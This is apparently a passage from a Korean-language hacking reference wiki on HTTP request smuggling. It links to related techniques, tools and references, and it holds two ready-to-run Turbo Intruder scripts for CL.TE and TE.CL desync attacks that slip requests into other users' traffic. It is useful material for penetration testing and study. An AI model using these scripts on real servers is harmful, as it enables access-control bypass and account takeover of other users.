HTTP 요청 스머글링을 HTTP 응답 비동기화로 무기화하기 HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용할지 모르겠다면, 다음의 다른 악용 방법을 시도해 보세요: {{#ref}} ../http-response-smuggling-desync.md {{#endref}} ### 기타 HTTP 요청 스머글링 기술 - 브라우저 HTTP 요청 스머글링 (클라이언트 측) {{#ref}} browser-http-request-smuggling.md {{#endref}} - HTTP/2 다운그레이드에서의 요청 스머글링 {{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}} ## 터보 침입자 스크립트 ### CL.TE From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0, engine=Engine.THREADED, ) engine.start() attack = '''POST / HTTP/1.1 Transfer-Encoding: chunked Host: xxx.com Content-Length: 35 Foo: bar 0 GET /admin7 HTTP/1.1 X-Foo: k''' engine.queue(attack) victim = '''GET / HTTP/1.1 Host: xxx.com ''' for i in range(14): engine.queue(victim) time.sleep(0.05) def handleResponse(req, interesting): table.add(req) ``` ### TE.CL From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0, engine=Engine.THREADED, ) engine.start() attack = '''POST / HTTP/1.1 Host: xxx.com Content-Length: 4 Transfer-Encoding : chunked 46 POST /nothing HTTP/1.1 Host: xxx.com Content-Length: 15 kk 0 ''' engine.queue(attack) victim = '''GET / HTTP/1.1 Host: xxx.com ''' for i in range(14): engine.queue(victim) time.sleep(0.05) def handleResponse(req, interesting): table.add(req) ``` ## 도구 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling) - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz) - [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 이 도구는 이상한 요청 밀어내기 불일치를 찾는 데 유용한 문법 기반 HTTP 퍼저입니다. ## 참고자료 - [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) - [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding) - [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting) - [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4) - [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/) - [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html) - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) {{#include ../../banners/hacktricks-training.md}}